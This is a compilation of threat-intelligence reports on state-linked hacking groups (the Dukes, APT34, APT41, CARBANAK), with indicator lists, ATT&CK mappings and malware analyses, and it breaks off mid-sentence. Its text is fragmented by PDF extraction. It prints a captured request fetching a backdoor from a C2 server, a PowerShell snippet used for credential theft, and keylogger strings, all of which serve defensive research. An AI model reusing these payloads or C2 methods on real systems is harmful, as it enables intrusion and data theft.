+D625C7CE9DC7E56A29EC9A81650280EDC6189616 +19/10/2018 +Win64/Agent.OL +0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF +21/12/2017 +MSIL/Tiny.BG +F7FD63C0534D2F717FD5325D4397597C9EE4065F +10/07/2018 +MSIL/Tiny.BG +194D8E2AE4C723CE5FE11C4D9CFEFBBA32DCF766 +29/08/2018 +MSIL/Agent.TGC +64D6C11FFF2C2AADAACEE01B294AFCC751316176 +01/10/2018 +MSIL/Agent.SVP +6ACC0B1230303F8CF46152697D3036D69EA5A849 +25/10/2018 +MSIL/Agent.SXO +170BE45669026F3C1FC5BA2D48817DBF950DA3F6 +01/12/2018 +MSIL/Agent.SYC +5905C55189C683BC37258AEC28E916C41948CD1C +29/08/2018 +MSIL/Agent.CAW +B05CABA461000C6EBD8B237F318577E9BCCD6047 +17/08/2018 +Win32/Agent.TSG +718C2CE6170D6CA505297B41DE072D8D3B873456 +24/06/2019 +Win32/Agent.TUF +A88DA2DD033775F7ABC8D6FB3AD5DD48EFBEADE1 +03/05/2017 +Win32/Agent.TSH +DB19171B239EF6DE8E83B2926EADC652E74A5AFA +22/05/2019 +Win32/Agent.TSH +FatDuke Loader +9E96B00E9F7EB94A944269108B9E02D97142EEDC +19/04/2019 +Win32/Agent.AAPY +LiteDuke +AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE +02/10/2014 +Win32/Agent.AART +Component +PolyglotDuke +RegDuke Loader +RegDuke Backdoor +MiniDuke +FatDuke +7.2 Network +Domains +Component +Domain +acciaio.com[.]br +ceycarb[.]com +coachandcook[.]at +fisioterapiabb[.]it +lorriratzlaff[.]com +PolyglotDuke +mavin21c.dothome.co[.]kr +motherlodebulldogclub[.]com +powerpolymerindustry[.]com +publiccouncil[.]org +rulourialuminiu.co[.]uk +sistemikan[.]com +varuhusmc[.]org +MiniDuke +ecolesndmessines[.]org +salesappliances[.]com +busseylawoffice[.]com +fairfieldsch[.]org +FatDuke +ministernetwork[.]org +skagenyoga[.]com +westmedicalgroup[.]net +LiteDuke +bandabonga[.]fr +Operation Ghost +The Dukes aren +t back + they never left +Public webpages used by PolyglotDuke +http://ibb[.]co/hVhaAq +http://imgur[.]com/1RzfF7r +http://imgur[.]com/6wjspWp +http://imgur[.]com/d4ObKL0 +http://imgur[.]com/D6U06Ci +http://imgur[.]com/GZSK9zI +http://imgur[.]com/wcMk7a2 +http://imgur[.]com/WMTwSMJ +http://imgur[.]com/WOKHonk +http://imgur[.]com/XFa7Ee1 +http://jack998899jack.imgbb[.]com +http://simp[.]ly/publish/pBn8Jt +http://thinkery[.]me/billywilliams/5a0170161cb602262f000d2c +http://twitter[.]com/aimeefleming25 +http://twitter[.]com/hen_rivero +http://twitter[.]com/JamesScott1990 +http://twitter[.]com/KarimM_traveler +http://twitter[.]com/lerg5pvo1i +http://twitter[.]com/m63vhd7ach3 +http://twitter[.]com/MarlinTarin +http://twitter[.]com/np8j7ovqdl +http://twitter[.]com/q5euqysfu5 +http://twitter[.]com/qistp743li +http://twitter[.]com/t8t842io2 +http://twitter[.]com/ua6ivyxkfv +http://twitter[.]com/utyi5asko02 +http://twitter[.]com/vgmmmyqaq +http://twitter[.]com/vvwc63tgz +http://twitter[.]com/wekcddkg2ra +http://twitter[.]com/xzg3a2e2z +http://www.evernote[.]com/shard/s675/sh/6686ff4e-8896-499b-8cdb-a2bbf2cc4db9/ +fc7fbe66c820f17c30147235e95d31b8 +http://www.fotolog[.]com/g1h4wuiz6 +http://www.fotolog[.]com/gf3z425rr0 +http://www.fotolog[.]com/i4ntff47xfw +http://www.fotolog[.]com/joannevil/121000000000030009/ +http://www.fotolog[.]com/o2rh2s2x7pu +http://www.fotolog[.]com/q4tusizx9xb +http://www.fotolog[.]com/rypnil03sl6 +http://www.fotolog[.]com/shx8hypubt +http://www.fotolog[.]com/u99aliw5g +http://www.fotolog[.]com/uq44y4j19m8 +http://www.fotolog[.]com/vq21p34 +http://www.fotolog[.]com/vz1g3wmwu +http://www.fotolog[.]com/zu2of5vyfl6 +http://www.google[.]com/?gws_rd=ssl#q=Heiofjskghwe+Hjwefkbqw +http://www.kiwibox[.]com/AfricanRugby/info/ +http://www.kiwibox[.]com/GaryPhotographe/info/ +http://www.reddit[.]com/user/BeaumontV/ +http://www.reddit[.]com/user/StevensThomasWis/ +Operation Ghost +The Dukes aren +t back + they never left +MITRE ATT&CK TECHNIQUES +Tactic +Initial +Access +Execution +Persistence +Defense +Evasion +Discovery +Lateral +Movement +Name +Description +T1193 +Spearphishing +Attachment +The Dukes likely used spearphishing emails to compromise +the target. +T1078 +Valid Accounts +Operators use account credentials previously stolen +to come back on the victim +s network. +T1106 +Execution through API +They use CreateProcess or LoadLibrary Windows APIs +to execute binaries. +T1129 +Execution through +Module Load +Some of their malware load DLL using LoadLibrary Windows API. +T1086 +PowerShell +FatDuke can execute PowerShell scripts. +T1085 +Rundll32 +The FatDuke loader uses rundll32 to execute the main DLL. +T1064 +Scripting +FatDuke can execute PowerShell scripts. +T1035 +Service Execution +The Dukes use PsExec to execute binaries on remote hosts. +T1060 +Registry Run Keys / +Startup Folder +The Dukes use the CurrentVersion\Run registry key to establish +persistence on compromised computers. +T1053 +Scheduled Task +The Dukes use Scheduled Task to launch malware at startup. +T1078 +Valid Accounts +The Dukes use account credentials previously stolen to come +back on the victim +s network. +T1084 +Windows Management +Instrumentation Event +Subscription +The Dukes used WMI to establish persistence for RegDuke. +T1140 +Deobfuscate/Decode +Files or Information +The droppers for PolyglotDuke and LiteDuke embed +encrypted payloads. +T1107 +File Deletion +The Dukes malware can delete files and directories. +T1112 +Modify Registry +The keys used to decrypt RegDuke payloads are stored +in the Windows registry. +T1027 +Obfuscated Files +or Information +The Dukes encrypts PolyglotDuke and LiteDuke payloads +with custom algorithms. They also rely on known obfuscation +techniques such as opaque predicates and control flow +flattening to obfuscate RegDuke, MiniDuke and FatDuke. +T1085 +Rundll32 +The FatDuke loader uses rundll32 to execute the main DLL. +T1064 +Scripting +FatDuke can execute PowerShell scripts. +T1045 +Software Packing +The Dukes use a custom packer to obfuscate MiniDuke +and FatDuke binaries. They also use the commercial packer +.NET Reactor to obfuscate RegDuke. +T1078 +Valid Accounts +The Dukes use account credentials previously stolen +to come back on the victim +s network. +T1102 +Web Service +PolyglotDuke fetches public webpages (Twitter, Reddit, +Imgur, etc.) to get encrypted strings leading to new C&C. +server. For RegDuke, they also use Dropbox as a C&C server. +T1083 +File and Directory +Discovery +The Dukes can interact with files and directories +on the victim +s computer. +T1135 +Network Share Discovery +The Dukes can list network shares. +T1057 +Process Discovery +The Dukes can list running processes. +T1049 +System Network +Connections Discovery +The Dukes can execute commands like net use to gather +information on network connections. +T1077 +Windows Admin Shares +The Dukes use PsExec to execute binaries on a remote host. +Operation Ghost +Collection +Command +and Control +Exfiltration +The Dukes aren +t back + they never left +T1005 +Data from Local System +The Dukes can collect files on the compromised machines +T1039 +Data from Network +Shared Drive +The Dukes can collect files on shared drives. +T1025 +Data from Removable +Media +The Dukes can collect files on removable drives. +T1090 +Connection Proxy +The Dukes can communicate to the C&C server via proxy. +They also use named pipes as proxies when a machine +is isolated within a network and does not have direct access +to the internet. +T1001 +Data Obfuscation +The Dukes use steganography to hide payloads and commands +inside valid images. +T1008 +Fallback Channels +The Dukes have multiple C&C servers in case one of them +is down. +T1071 +Standard Application +Layer Protocol +The Dukes are using HTTP and HTTPS protocols +to communicate with the C&C server. +T1102 +Web Service +PolyglotDuke fetches public webpages (Twitter, Reddit, +Imgur, etc.) to get encrypted strings leading to new C&C server. +For RegDuke, they also use Dropbox as a C&C server. +T1041 +Exfiltration Over +Command and Control +Channel +The Dukes use the C&C channel to exfiltrate stolen data. +Hard Pass: Declining APT34 +s Invite to Join Their +Professional Network +fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professionalnetwork.html +Background +With increasing geopolitical tensions in the Middle East, we expect Iran to significantly +increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for +strategic intelligence and is likely to fill this gap by conducting espionage against decision +makers and key organizations that may have information that furthers Iran's economic and +national security goals. The identification of new malware and the creation of additional +infrastructure to enable such campaigns highlights the increased tempo of these operations +in support of Iranian interests. +FireEye Identifies Phishing Campaign +In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iraniannexus threat actor. Three key attributes caught our eye with this particular campaign: +1. Masquerading as a member of Cambridge University to gain victims + trust to open +malicious documents, +2. The usage of LinkedIn to deliver malicious documents, +3. The addition of three new malware families to APT34 +s arsenal. +FireEye +s platform successfully thwarted this attempted intrusion, stopping a new malware +variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced +Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three +new malware families and a reappearance of PICKPOCKET, malware exclusively observed in +use by APT34. The new malware families, which we will examine later in this post, show +APT34 relying on their PowerShell development capabilities, as well as trying their hand at +Golang. +APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least +2014. They use a mix of public and non-public tools to collect strategic information that +would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 +aligns with elements of activity reported as OilRig and Greenbug, by various security +researchers. This threat group has conducted broad targeting across a variety of industries +operating in the Middle East; however, we believe APT34's strongest interest is gaining +access to financial, energy, and government entities. +Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, +and this Cisco post. +1/11 +Managed Defense also initiated a Community Protection Event (CPE) titled +Geopolitical +Spotlight: Iran. + This CPE was created to ensure our customers are updated with new +discoveries, activity and detection efforts related to this campaign, along with other recent +activity from Iranian-nexus threat actors to include APT33, which is mentioned in +this updated FireEye blog post. +Industries Targeted +The activities observed by Managed Defense, and described in this post, were primarily +targeting the following industries: +Energy and Utilities +Government +Oil and Gas +Utilizing Cambridge University to Establish Trust +On June 19, 2019, FireEye +s Managed Defense Security Operations Center received an +exploit detection alert on one of our FireEye Endpoint Security appliances. The offending +application was identified as Microsoft Excel and was stopped immediately by FireEye +Endpoint Security +s ExploitGuard engine. ExploitGuard is our behavioral monitoring, +detection, and prevention capability that monitors application behavior, looking for various +anomalies that threat actors use to subvert traditional detection mechanisms. Offending +applications can subsequently be sandboxed or terminated, preventing an exploit from +reaching its next programmed step. +The Managed Defense SOC analyzed the alert and identified a malicious file named +System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\ +\.templates. The file System.doc is a Windows Portable Executable (PE), +despite having a "doc" file extension. FireEye identified this new malware family as +TONEDEAF. +A backdoor that communicates with a single command and control (C2) server using HTTP +GET and POST requests, TONEDEAF supports collecting system information, uploading and +downloading of files, and arbitrary shell command execution. When executed, this variant of +TONEDEAF wrote encrypted data to two temporary files + temp.txt and temp2.txt + within +the same directory of its execution. We explore additional technical details of TONEDEAF in +the malware appendix of this post. +Retracing the steps preceding exploit detection, FireEye identified that System.doc was +dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we +were able to correlate that ERFT-Details.xls originated from the URL http://www.cam- +2/11 +research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access +of a LinkedIn message directly preceding the spreadsheet download. +Managed Defense reached out to the impacted customer +s security team, who confirmed +the file was received via a LinkedIn message. The targeted employee conversed with +"Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The +conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for +potential job opportunities. +Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF +This is not the first time we +ve seen APT34 utilize academia and/or job offer conversations in +their various campaigns. These conversations often take place on social media platforms, +which can be an effective delivery mechanism if a targeted organization is focusing heavily +on e-mail defenses to prevent intrusions. +FireEye examined the original file ERFT-Details.xls, which was observed with at least two +unique MD5 file hashes: +96feed478c347d4b95a8224de26a1b2c +caf418cbf6a9c4e93e79d4714d5d3b87 +A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory +from base64-encoded text upon opening. +3/11 +Figure 2: Screenshot of VBA code from System.doc +The spreadsheet also creates a scheduled task named "windows update check" that runs +the file C:\Users\\.templates\System Manager.exe every minute. Upon closing +the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. +Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated +to avoid simple detection. +4/11 +Figure 3: Additional VBA code from System.doc +Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server +offlineearthquake[.]com over port 80. +The FireEye Footprint: Pivots and Victim Identification +After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye +Intelligence and Advanced Practices teams performed a wider search across our global +visibility. FireEye +s Advanced Practices and Intelligence teams were able to identify +additional artifacts and activity from the APT34 actors at other victim organizations. Of note, +FireEye discovered two additional new malware families hosted at this domain, +VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser +credential-theft tool FireEye has been tracking since May 2018, hosted on the C2. +Requests to the domain offlineearthquake[.]com could take multiple forms, depending on +the malware +s stage of installation and purpose. Additionally, during installation, the +malware retrieves the system and current user names, which are used to create a threecharacter +sys_id +. This value is used in subsequent requests, likely to track infected target +activity. URLs were observed with the following structures: +hxxp[://]offlineearthquake[.]com/download?id=&n=000 +hxxp[://]offlineearthquake[.]com/upload?id=&n=000 +hxxp[://]offlineearthquake[.]com/file//?id=&h=000 +hxxp[://]offlineearthquake[.]com/file//?id=&n=000 +The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: +021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH +is a keylogger that outputs keystrokes to a log.txt file in the Window +s temp folder. Further +information regarding LONGWATCH is detailed in the Malware Appendix section at the end +of the post. +FireEye Network Security appliances also detected the following being retrieved from APT34 +infrastructure (Figure 4). +GET hxxp://offlineearthquake.com/file//b.exe?id=<3char_redacted>&n=000 +User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) +AppleWebKit/537.36 (KHTML, like Gecko) +Host: offlineearthquake[.]com +Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 +Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network +Security appliance +5/11 +FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT. +VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" +browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. +VALUEVAULT maintains the same functionality as the original tool by allowing the operator +to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT +will call Windows PowerShell to extract browser history in order to match browser +passwords with visited sites. Further information regarding VALUEVAULT can be found in +the appendix below. +Further pivoting from FireEye appliances and internal data sources yielded two additional +files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: +6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64and 32-bit variants of the malware PICKPOCKET, respectively. +PICKPOCKET is a credential theft tool that dumps the user's website login credentials from +Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a +Mandiant incident response in 2018 and, to date, solely utilized by APT34. +Conclusion +The activity described in this blog post presented a well-known Iranian threat actor utilizing +their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye +platform in place, our Managed Defense customers were not impacted. Furthermore, upon +the blocking of this activity, FireEye was able to expand upon the observed indicators to +identify a broader campaign, as well as the use of new and old malware. +We suspect this will not be the last time APT34 brings new tools to the table. Threat actors +are often reshaping their TTPs to evade detection mechanisms, especially if the target is +highly desired. For these reasons, we recommend organizations remain vigilant in their +defenses, and remember to view their environment holistically when it comes to +information security. +Malware Appendix +TONEDEAF +TONEDEAF is a backdoor that communicates with Command and Control servers using +HTTP or DNS. Supported commands include system information collection, file upload, file +download, and arbitrary shell command execution. Although this backdoor was coded to be +able to communicate with DNS requests to the hard-coded Command and Control server, +c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides +a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a +means for future DNS exfiltration as a plan B. +6/11 +Figure 5: Snippet of code from TONEDEAF binary +Aside from not being enabled in this sample, the DNS tunneling functionality also contains +missing values and bugs that prevent it from executing properly. One such bug involves +determining the length of a command response string without accounting for Unicode +strings. As a result, a single command response byte is sent when, for example, the malware +executes a shell command that returns Unicode output. Additionally, within the malware, an +unused string contained the address 185[.]15[.]247[.]154. +VALUEVAULT +VALUEVAULT is a Golang compiled version of the +Windows Vault Password Dumper +browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. +VALUEVAULT maintains the same functionality as the original tool by allowing the operator +to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT +will call Windows PowerShell to extract browser history in order to match browser +passwords with visited sites. A snippet of this function is shown in Figure 6. +powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . +foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. +. if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = +New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. +$visit. }. }. }. }. }. }. get-iehistory +Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials +7/11 +Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming +directory under the context of the user account it was executed by. This file is named +fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This +functionality is not in the original version of the +Windows Vault Password Dumper +. Figure 7 +shows the SQL format of the fsociety.dat file. +Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database +VALUEVAULT +s function names are not obfuscated and are directly reviewable in strings +analysis. Other developer environment variables were directly available within the binary as +shown below. VALUEVAULT does not possess the ability to perform network +communication, meaning the operators would need to manually retrieve the captured +output of the tool. +C:/Users//Desktop/projects/go/src/browsers-password-cracker/new_edge.go +C:/Users//Desktop/projects/go/src/browsers-password-cracker/mozila.go +C:/Users//Desktop/projects/go/src/browsers-password-cracker/main.go +C:/Users//Desktop/projects/go/src/browsers-password-cracker/ie.go +C:/Users//Desktop/projects/go/src/browsers-password-cracker/Chrome Password +Recovery.go +Figure 8: Golang files extracted during execution of VALUEVAULT +LONGWATCH +FireEye identified the binary WinNTProgram.exe +(MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain +offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary +function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the +Windows temp folder. +Interesting strings identified in the binary are shown in Figure 9. +8/11 +GetAsyncKeyState +>---------------------------------------------------\n\n +c:\\windows\\temp\\log.txt +[ENTER] +[CapsLock] +[CRTL] +[PAGE_UP] +[PAGE_DOWN] +[HOME] +[LEFT] +[RIGHT] +[DOWN] +[PRINT] +[PRINT SCREEN] (1 space) +[INSERT] +[SLEEP] +[PAUSE] +\n---------------CLIPBOARD------------\n +\n\n >>> (2 spaces) +c:\\windows\\temp\\log.txt +Figure 9: Strings identified in a LONGWATCH binary +Detecting the Techniques +FireEye detects this activity across our platforms, including named detection for TONEDEAF, +VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that +provide an indication of APT34 activity. +Signature Name +FE_APT_Keylogger_Win_LONGWATCH_1 +FE_APT_Keylogger_Win_LONGWATCH_2 +FE_APT_Keylogger_Win32_LONGWATCH_1 +FE_APT_HackTool_Win_PICKPOCKET_1 +FE_APT_Trojan_Win32_VALUEVAULT_1 +9/11 +FE_APT_Backdoor_Win32_TONEDEAF +TONEDEAF BACKDOOR [DNS] +TONEDEAF BACKDOOR [upload] +TONEDEAF BACKDOOR [URI] +Table 1: FireEye Platform Detections +Endpoint Indicators +Indicator +MD5 Hash (if applicable) +Code Family +System.doc +b338baa673ac007d7af54075ea69660b +TONEDEAF +50fb09d53c856dcd0782e1470eaeae35 +TONEDEAF +96feed478c347d4b95a8224de26a1b2c +TONEDEAF DROPPER +caf418cbf6a9c4e93e79d4714d5d3b87 +TONEDEAF DROPPER +b.exe +9fff498b78d9498b33e08b892148135f +VALUEVAULT +WindowsNTProgram.exe +021a0f57fe09116a43c27e5133a57a0a +LONGWATCH +PE86.dll +d8abe843db508048b4d4db748f92a103 +PICKPOCKET +PE64.dll +6eca9c2b7cf12c247032aae28419319e +PICKPOCKET +ERFT-Details.xls +Table 2: APT34 Endpoint Indicators from this blog post +Network Indicators +hxxp[://]www[.]cam-research-ac[.]com +offlineearthquake[.]com +10/11 +c[.]cdn-edge-akamai[.]com +185[.]15[.]247[.]154 +Acknowledgements +A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing +and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh +from the FLARE team for the in-depth malware analysis. +11/11 +APT41: A Dual Espionage and Cyber Crime Operation +fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html +Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific +Chinese cyber threat group that carries out state-sponsored espionage activity in parallel +with financially motivated operations. APT41 is unique among tracked China-based actors in +that it leverages non-public malware typically reserved for espionage campaigns in what +appears to be activity for personal gain. Explicit financially-motivated targeting is unusual +among Chinese state-sponsored threat groups, and evidence suggests APT41 has +conducted simultaneous cyber crime and cyber espionage operations from 2014 onward. +The full published report covers historical and ongoing activity attributed to APT41, the +evolution of the group +s tactics, techniques, and procedures (TTPs), information on the +individual actors, an overview of their malware toolset, and how these identifiers overlap +with other known Chinese espionage operators. APT41 partially coincides with public +reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky). +Who Does APT41 Target? +Like other Chinese espionage operators, APT41 espionage targeting has generally aligned +with China's Five-Year economic development plans. The group has established and +maintained strategic access to organizations in the healthcare, high-tech, and +telecommunications sectors. APT41 operations against higher education, travel services, +and news/media firms provide some indication that the group also tracks individuals and +conducts surveillance. For example, the group has repeatedly targeted call record +information at telecom companies. In another instance, APT41 targeted a hotel +s reservation +systems ahead of Chinese officials staying there, suggesting the group was tasked to +reconnoiter the facility for security reasons. +The group +s financially motivated activity has primarily focused on the video game industry, +where APT41 has manipulated virtual currencies and even attempted to deploy +ransomware. The group is adept at moving laterally within targeted networks, including +pivoting between Windows and Linux systems, until it can access game production +environments. From there, the group steals source code as well as digital certificates which +are then used to sign malware. More importantly, APT41 is known to use its access to +production environments to inject malicious code into legitimate files which are later +distributed to victim organizations. These supply chain compromise tactics have also been +characteristic of APT41 +s best known and most recent espionage campaigns. +Interestingly, despite the significant effort required to execute supply chain compromises +and the large number of affected organizations, APT41 limits the deployment of follow-on +malware to specific victim systems by matching against individual system identifiers. These +multi-stage operations restrict malware delivery only to intended victims and significantly +obfuscate the intended targets. In contrast, a typical spear-phishing campaign +s desired +targeting can be discerned based on recipients' email addresses. +A breakdown of industries directly targeted by APT41 over time can be found in Figure 1. +Figure 1: Timeline of industries directly targeted by APT41 +Probable Chinese Espionage Contractors +Two identified personas using the monikers +Zhang Xuguang + and +Wolfzhi + linked to APT41 +operations have also been identified in Chinese-language forums. These individuals +advertised their skills and services and indicated that they could be hired. Zhang listed his +online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming +targets and suggesting that he is moonlighting. Mapping the group +s activities since 2012 +(Figure 2) also provides some indication that APT41 primarily conducts financially motivated +operations outside of their normal day jobs. +Attribution to these individuals is backed by identified persona information, their previous +work and apparent expertise in programming skills, and their targeting of Chinese marketspecific online games. The latter is especially notable because APT41 has repeatedly +returned to targeting the video game industry and we believe these activities were formative +in the group +s later espionage operations. +Figure 2: Operational activity for gaming versus non-gaming-related targeting based on +observed operations since 2012 +The Right Tool for the Job +APT41 leverages an arsenal of over 46 different malware families and tools to accomplish +their missions, including publicly available utilities, malware shared with other Chinese +espionage operations, and tools unique to the group. The group often relies on spearphishing emails with attachments such as compiled HTML (.chm) files to initially +compromise their victims. Once in a victim organization, APT41 can leverage more +sophisticated TTPs and deploy additional malware. For example, in a campaign running +almost a year, APT41 compromised hundreds of systems and used close to 150 unique +pieces of malware including backdoors, credential stealers, keyloggers, and rootkits. +APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis +to hide their malware and maintain persistence on select victim systems. The use of bootkits +in particular adds an extra layer of stealth because the code is executed prior to the +operating system initializing. The limited use of these tools by APT41 suggests the group +reserves more advanced TTPs and malware only for high-value targets. +Fast and Relentless +APT41 quickly identifies and compromises intermediary systems that provide access to +otherwise segmented parts of an organization +s network. In one case, the group +compromised hundreds of systems across multiple network segments and several +geographic regions in as little as two weeks. +The group is also highly agile and persistent, responding quickly to changes in victim +environments and incident responder activity. Hours after a victimized organization made +changes to thwart APT41, for example, the group compiled a new version of a backdoor +using a freshly registered command-and-control domain and compromised several systems +across multiple geographic regions. In a different instance, APT41 sent spear-phishing +emails to multiple HR employees three days after an intrusion had been remediated and +systems were brought back online. Within hours of a user opening a malicious attachment +sent by APT41, the group had regained a foothold within the organization's servers across +multiple geographic regions. +Looking Ahead +APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation +distinct use of supply chain compromises to target select individuals, consistent signing of +malware using compromised digital certificates, and deployment of bootkits (which is rare +among Chinese APT groups). +Like other Chinese espionage operators, APT41 appears to have moved toward strategic +intelligence collection and establishing access and away from direct intellectual property +theft since 2015. This shift, however, has not affected the group's consistent interest in +targeting the video game industry for financially motivated reasons. The group's capabilities +and targeting have both broadened over time, signaling the potential for additional supply +chain compromises affecting a variety of victims in additional verticals. +APT41's links to both underground marketplaces and state-sponsored activity may indicate +the group enjoys protections that enables it to conduct its own for-profit activities, or +authorities are willing to overlook them. It is also possible that APT41 has simply evaded +scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line +between state power and crime that lies at the heart of threat ecosystems and is +exemplified by APT41. +CARBANAK Week Part One: A Rare Occurrence +fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html +It is very unusual for FLARE to analyze a prolifically-used, privately-developed backdoor only +to later have the source code and operator tools fall into our laps. Yet this is the +extraordinary circumstance that sets the stage for CARBANAK Week, a four-part blog series +that commences with this post. +CARBANAK is one of the most full-featured backdoors around. It was used to perpetrate +millions of dollars in financial crimes, largely by the group we track as FIN7. In 2017, Tom +Bennett and Barry Vengerik published Behind the CARBANAK Backdoor, which was the +product of a deep and broad analysis of CARBANAK samples and FIN7 activity across +several years. On the heels of that publication, our colleague Nick Carr uncovered a pair of +RAR archives containing CARBANAK source code, builders, and other tools (both available in +VirusTotal: kb3r1p and apwmie). +FLARE malware analysis requests are typically limited to a few dozen files at most. But the +CARBANAK source code was 20MB comprising 755 files, with 39 binaries and 100,000 lines +of code. Our goal was to find threat intelligence we missed in our previous analyses. How +does an analyst respond to a request with such breadth and open-ended scope? And what +did we find? +My friend Tom Bennett and I spoke about this briefly in our 2018 FireEye Cyber Defense +Summit talk, Hello, Carbanak! In this blog series, we will expound at length and share a +written retrospective on the inferences drawn in our previous public analysis based on +binary code reverse engineering. In this first part, I +ll discuss Russian language concerns, +translated graphical user interfaces of CARBANAK tools, and anti-analysis tactics as seen +1/14 +from a source code perspective. We will also explain an interesting twist where analyzing the +source code surprisingly proved to be just as difficult as analyzing the binary, if not more. +There +s a lot here; buckle up! +File Encoding and Language Considerations +The objective of this analysis was to discover threat intelligence gaps and better protect our +customers. To begin, I wanted to assemble a cross-reference of source code files and +concepts of specific interest. +Reading the source code entailed two steps: displaying the files in the correct encoding, and +learning enough Russian to be dangerous. Figure 1 shows CARBANAK source code in a text +editor that is unaware of the correct encoding. +Figure 1: File without proper decoding +Two good file encoding guesses are UTF-8 and code page 1251 (Cyrillic). The files were +mostly code page 1251 as shown in Figure 2. +2/14 +Figure 2: Code Page 1251 (Cyrillic) source code +Figure 2 is a C++ header file defining error values involved in backdoor command execution. +Most identifiers were in English, but some were not particularly descriptive. Ergo, the second +and more difficult step was learning some Russian to benefit from the context offered by +the source code comments. +FLARE has fluent Russian speakers, but I took it upon myself to minimize my use of other +analysts + time. To this end, I wrote a script to tear through files and create a prioritized +vocabulary list. The script, which is available in the FireEye vocab_scraper GitHub repository, +walks source directories finding all character sequences outside the printable lower ASCII +range: decimal values 32 (the space character) through 126 (the tilde character +) inclusive. +The script adds each word to a Python defaultdict_ and increments its count. Finally, the +script orders this dictionary by frequency of occurrence and dumps it to a file. +The result was a 3,400+ word vocabulary list, partially shown in Figure 3. +3/14 +Figure 3: Top 19 Cyrillic character +sequences from the CARBANAK source +code +I spent several hours on Russian +language learning websites to study the +pronunciation of Cyrillic characters and +Russian words. Then, I looked up the +top 600+ words and created a small +dictionary. I added Russian language +input to an analysis VM and used +Microsoft +s on-screen keyboard +(osk.exe) to navigate the Cyrillic +keyboard layout and look up definitions. +One helpful effect of learning to +pronounce Cyrillic characters was my +newfound recognition of English loan +words (words that are borrowed from +English and transliterated to Cyrillic). My +small vocabulary allowed me to read +many comments without looking +anything up. Table 1 shows a short +sampling of some of the English loan +words I encountered. +Cyrillic +English Phonetic +English +Occurrences +Rank +f ah y L +file +server +server +adres +address +komand +command +110+ +bota +4/14 +p l ah g ee n +plugin +s e r v ee s +service +p r o ts e s s +process +130ish +Table 1: Sampling of English loan words in the CARBANAK source code +Aside from source code comments, understanding how to read and type in Cyrillic came in +handy for translating the CARBANAK graphical user interfaces I found in the source code +dump. Figure 4 shows a Command and Control (C2) user interface for CARBANAK that I +translated. +Figure 4: Translated C2 graphical user interface +These user interfaces included video management and playback applications as shown in +Figure 5 and Figure 6 respectively. Tom will share some interesting work he did with these in +a subsequent part of this blog series. +5/14 +Figure 5: Translated video management application user interface +Figure 6: Translated video playback application user interface +6/14 +Figure 7 shows the backdoor builder that was contained within the RAR archive of operator +tools. +Figure 7: Translated 